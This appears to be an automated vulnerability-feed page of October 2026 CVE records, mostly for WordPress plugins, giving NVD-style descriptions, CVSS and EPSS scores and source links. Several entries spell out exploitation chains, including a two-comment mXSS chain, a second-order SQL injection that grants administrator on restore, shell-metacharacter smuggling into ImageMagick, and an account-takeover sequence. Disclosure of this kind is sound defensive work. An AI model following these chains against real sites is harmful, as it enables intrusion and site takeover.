NVD CVE-2026-97296: https://nvd.nist.gov/vuln/detail/CVE-2026-97296
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97296&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Rocketgenius, Inc Gravity Forms gravityforms allows Object Injection.This issue affects Gravity Forms: from n/a before 3.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-97781
Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97781).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97781&date=2026-10-25).
Sources:
NVD CVE-2026-97781: https://nvd.nist.gov/vuln/detail/CVE-2026-97781
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97781
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97781&date=2026-10-25
Improper neutralization of special elements used in a command ('command injection') in Microsoft Office OneNote allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting...
https://kevwire.com/record/CVE-2026-97640
The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting... (Oct 16, 2026).
The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Simple HTML DOM Parser Noise-Key Restoration (mXSS) in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the Script Blocking feature to be enabled, and the exploit chain depends on an attacker submitting two coordinated comments — one embedding event-handler syntax inside an allowed &lt;code&gt; element and one placing the deterministic ___noise___ restoration key inside an allowed &lt;abbr title=""&gt; attribute — with the key offset confirmable via an unauthenticated wpconsent_debug=1 request.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97640).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97640&date=2026-10-25).
Sources:
NVD CVE-2026-97640: https://nvd.nist.gov/vuln/detail/CVE-2026-97640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97640&date=2026-10-25
The WPConsent – Cookie Banner & Cookie Consent for Privacy Compliance (GDPR / CCPA / EU Compliance Cookie Notice) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Simple HTML DOM Parser Noise-Key Restoration (mXSS) in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the Script Blocking feature to be enabled, and the exploit chain depends on an attacker submitting two coordinated comments — one embedding event-handler syntax inside an allowed &lt;code&gt; element and one placing the deterministic ___noise___ restoration key inside an allowed &lt;abbr title=""&gt; attribute — with the key offset confirmable via an unauthenticated wpconsent_debug=1 request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to...
https://kevwire.com/record/CVE-2026-96768
The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to... (Oct 16, 2026).
The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is made possible because WordPress comment kses does not strip entity-encoded tag delimiters, allowing the payload to pass moderation as safe text before being decoded into live HTML by core email notification functions and written verbatim into the plugin's email log database table.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96768).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96768&date=2026-10-25).
Sources:
NVD CVE-2026-96768: https://nvd.nist.gov/vuln/detail/CVE-2026-96768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96768&date=2026-10-25
The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is made possible because WordPress comment kses does not strip entity-encoded tag delimiters, allowing the payload to pass moderation as safe text before being decoded into live HTML by core email notification functions and written verbatim into the plugin's email log database table.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and...
https://kevwire.com/record/CVE-2026-96570
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and... (Oct 16, 2026).
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and including, 1.67 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce that serves as the only authorization gate is publicly printed in the [saswp-reviews-form] shortcode HTML, making it obtainable by any anonymous visitor and rendering it ineffective as an access control boundary.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96570).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96570&date=2026-10-25).
Sources:
NVD CVE-2026-96570: https://nvd.nist.gov/vuln/detail/CVE-2026-96570
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96570&date=2026-10-25
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_review_text' parameter in all versions up to, and including, 1.67 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce that serves as the only authorization gate is publicly printed in the [saswp-reviews-form] shortcode HTML, making it obtainable by any anonymous visitor and rendering it ineffective as an access control boundary.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via...
https://kevwire.com/record/CVE-2026-95809
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via... (Oct 16, 2026).
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'country_name' Location Parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The heatmap recording endpoint accepts unauthenticated requests protected only by a nonce that any visitor can freely obtain via the public opti_behavior_refresh_nonces AJAX action, removing any practical barrier to injecting the malicious payload.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95809).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95809&date=2026-10-25).
Sources:
NVD CVE-2026-95809: https://nvd.nist.gov/vuln/detail/CVE-2026-95809
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95809&date=2026-10-25
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'country_name' Location Parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The heatmap recording endpoint accepts unauthenticated requests protected only by a nonce that any visitor can freely obtain via the public opti_behavior_refresh_nonces AJAX action, removing any practical barrier to injecting the malicious payload.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via...
https://kevwire.com/record/CVE-2026-95686
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via... (Oct 16, 2026).
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'targetUrl' parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The ingest endpoint is gated only by a nonce that is publicly emitted to every anonymous visitor on tracked pages via optiBehaviorHeatmapConfig.nonce, meaning no account or authentication of any kind is required to write the malicious payload.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95686).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95686&date=2026-10-25).
Sources:
NVD CVE-2026-95686: https://nvd.nist.gov/vuln/detail/CVE-2026-95686
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95686&date=2026-10-25
The Opti-Behavior – Self-Hosted Heatmaps, Session Recordings, Funnels, A/B Testing & Smart Insights plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the 'targetUrl' parameter in all versions up to, and including, 1.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The ingest endpoint is gated only by a nonce that is publicly emitted to every anonymous visitor on tracked pages via optiBehaviorHeatmapConfig.nonce, meaning no account or authentication of any kind is required to write the malicious payload.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions...
https://kevwire.com/record/CVE-2026-93953
The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions... (Oct 16, 2026).
The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions up to, and including, 1.5.8 due to insufficient escaping on the user supplied parameter and the lack of sufficient preparation on an existing SQL query. Backuply exports the Biographical Info value verbatim inside an INSERT statement written to the backup's SQL dump (wp_usermeta). When an Administrator later restores such a backup, the crafted payload breaks out of that INSERT statement and appends attacker-controlled SQL that executes with full database privileges. This makes it possible for authenticated attackers, with subscriber-level access and above, to write arbitrary data to the database — in particular to update the default_role option in wp_options to administrator (and enable open user registration) — so that a subsequently registered account is automatically granted the Administrator role, resulting in privilege escalation and full site takeover. Because the injection executes inside an INSERT during restore with no response returned to the attacker, the primitive is used to modify database records rather than to read existing data directly.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93953).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93953&date=2026-10-25).
Sources:
NVD CVE-2026-93953: https://nvd.nist.gov/vuln/detail/CVE-2026-93953
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93953&date=2026-10-25
The Backuply – Backup, Restore, Migrate and Clone plugin for WordPress is vulnerable to SQL Injection via the Biographical Info field (second-order, via restore) in all versions up to, and including, 1.5.8 due to insufficient escaping on the user supplied parameter and the lack of sufficient preparation on an existing SQL query. Backuply exports the Biographical Info value verbatim inside an INSERT statement written to the backup's SQL dump (wp_usermeta). When an Administrator later restores such a backup, the crafted payload breaks out of that INSERT statement and appends attacker-controlled SQL that executes with full database privileges. This makes it possible for authenticated attackers, with subscriber-level access and above, to write arbitrary data to the database — in particular to update the default_role option in wp_options to administrator (and enable open user registration) — so that a subsequently registered account is automatically granted the Administrator role, resulting in privilege escalation and full site takeover. Because the injection executes inside an INSERT during restore with no response returned to the attacker, the primitive is used to modify database records rather than to read existing data directly.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-92766
The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including,... (Oct 16, 2026).
The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including, 3.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This makes it possible for unauthenticated attackers, or authenticated attackers holding any POS role (such as vtpos-cashier), to exploit the vulnerability, as the /vitepos/v1/vendor/list REST route's permission callback requires only a POS role assignment rather than any elevated WordPress capability.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92766).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92766&date=2026-10-25).
Sources:
NVD CVE-2026-92766: https://nvd.nist.gov/vuln/detail/CVE-2026-92766
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92766&date=2026-10-25
The Vitepos – Point of Sale (POS) for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the 'src_by' parameter in all versions up to, and including, 3.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This makes it possible for unauthenticated attackers, or authenticated attackers holding any POS role (such as vtpos-cashier), to exploit the vulnerability, as the /vitepos/v1/vendor/list REST route's permission callback requires only a POS role assignment rather than any elevated WordPress capability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the...
https://kevwire.com/record/CVE-2026-92553
The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the... (Oct 16, 2026).
The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitize_file_name() does not strip executable extensions and no allow-list, MIME check, or safe-extension rename is applied. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The only server-side guard is a .htaccess file containing 'Require all denied' written by writeGuards(), which is silently ignored by nginx and by Apache configured with AllowOverride None, meaning RCE is fully achievable on those server configurations.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92553).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92553&date=2026-10-25).
Sources:
NVD CVE-2026-92553: https://nvd.nist.gov/vuln/detail/CVE-2026-92553
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92553&date=2026-10-25
The YaySMTP – WP Mail SMTP with Email Logs, Tracking & Reports plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.7.7 via the putFile function. This is due to insufficient file type validation in the putFile function, as sanitize_file_name() does not strip executable extensions and no allow-list, MIME check, or safe-extension rename is applied. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The only server-side guard is a .htaccess file containing 'Require all denied' written by writeGuards(), which is silently ignored by nginx and by Apache configured with AllowOverride None, meaning RCE is fully achievable on those server configurations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the...
https://kevwire.com/record/CVE-2026-92115
The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the... (Oct 16, 2026).
The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the `update-photo` AJAX action. This is due to insufficient shell escaping within the `wppa_image_magick_a()` function, where the attacker-controlled `value` parameter is concatenated raw — without `escapeshellarg()` — into an ImageMagick command string before being passed to `exec()`; further, `wppa_decode()` actively restores percent-encoded shell metacharacters (e.g., `%26`→`&`, `%23`→`#`) rather than stripping them, allowing crafted payloads to survive sanitization and break out of the ImageMagick argument context. This makes it possible for authenticated attackers holding the plugin-defined `wppa_upload` capability to execute arbitrary operating-system commands as the web-server user, achieving full remote code execution on the underlying server. Exploitation requires ImageMagick to be enabled on the server; the `wppa_upload` capability is a plugin-level privilege that site administrators may grant to lower-privileged WordPress roles via the plugin's Users settings, broadening the pool of potential attackers beyond administrators.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92115).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92115&date=2026-10-25).
Sources:
NVD CVE-2026-92115: https://nvd.nist.gov/vuln/detail/CVE-2026-92115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92115&date=2026-10-25
The WP Photo Album Plus plugin for WordPress is vulnerable to authenticated Command Injection in all versions up to, and including, 9.3.02.002 via the `value` parameter of the `update-photo` AJAX action. This is due to insufficient shell escaping within the `wppa_image_magick_a()` function, where the attacker-controlled `value` parameter is concatenated raw — without `escapeshellarg()` — into an ImageMagick command string before being passed to `exec()`; further, `wppa_decode()` actively restores percent-encoded shell metacharacters (e.g., `%26`→`&`, `%23`→`#`) rather than stripping them, allowing crafted payloads to survive sanitization and break out of the ImageMagick argument context. This makes it possible for authenticated attackers holding the plugin-defined `wppa_upload` capability to execute arbitrary operating-system commands as the web-server user, achieving full remote code execution on the underlying server. Exploitation requires ImageMagick to be enabled on the server; the `wppa_upload` capability is a plugin-level privilege that site administrators may grant to lower-privileged WordPress roles via the plugin's Users settings, broadening the pool of potential attackers beyond administrators.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to,...
https://kevwire.com/record/CVE-2026-89051
The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to,... (Oct 16, 2026).
The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to, and including, 7.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected link.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89051).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89051&date=2026-10-25).
Sources:
NVD CVE-2026-89051: https://nvd.nist.gov/vuln/detail/CVE-2026-89051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89051&date=2026-10-25
The WP Ghost (Hide My WP Ghost) – Security & Firewall plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replaceHeadersAndTags' function in versions up to, and including, 7.0.12 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user clicks on the injected link.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP...
https://kevwire.com/record/CVE-2026-87111
The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP... (Oct 16, 2026).
The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP Referer Header in all versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is present only in the premium build of the plugin and is not present in the free WordPress.org distribution. The nonce required to call the vulnerable AJAX endpoint is localized into the page source of every front-end page for anonymous visitors, making it fully obtainable by unauthenticated attackers.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87111).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87111&date=2026-10-25).
Sources:
NVD CVE-2026-87111: https://nvd.nist.gov/vuln/detail/CVE-2026-87111
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87111&date=2026-10-25
The User Registration PRO – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via HTTP Referer Header in all versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is present only in the premium build of the plugin and is not present in the free WordPress.org distribution. The nonce required to call the vulnerable AJAX endpoint is localized into the page source of every front-end page for anonymous visitors, making it fully obtainable by unauthenticated attackers.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43.
https://kevwire.com/record/CVE-2026-85659
The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43. (Oct 16, 2026).
The PilotPress plugin for WordPress is vulnerable to Privilege Escalation via Account Takeover in all versions up to, and including, 2.0.43. The vulnerability exists because the `update_cc_details()` AJAX handler forwards an attacker-supplied `username` parameter to ONTRAPORT via `api_call('update_cc_details', ...)` before performing the local `username_exists()` collision check, and aborts without rolling back the remote rename when a collision is detected — leaving the remote ONTRAPORT contact renamed to an existing WordPress Administrator's login. On a subsequent login attempt, `user_login()` (hooked to `wp_authenticate`) authenticates against ONTRAPORT using the renamed login and the attacker's own password, resolves the local WordPress user row via `get_user_by('login', $username)` — which now selects the real Administrator's row — and calls `wp_set_password()` against that Administrator's user ID; because the `user_level != 10` guard only suppresses PilotPress's own cookie issuance rather than returning a `WP_Error` to core, WordPress proceeds to validate the newly-synchronized password and issues a full Administrator authentication cookie to the attacker. This makes it possible for authenticated attackers with Subscriber-level access and above — specifically any PilotPress member holding a valid ONTRAPORT contact and the Customer Center nonce — to fully take over an Administrator account.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85659).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85659&date=2026-10-25).
Sources:
NVD CVE-2026-85659: https://nvd.nist.gov/vuln/detail/CVE-2026-85659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85659&date=2026-10-25
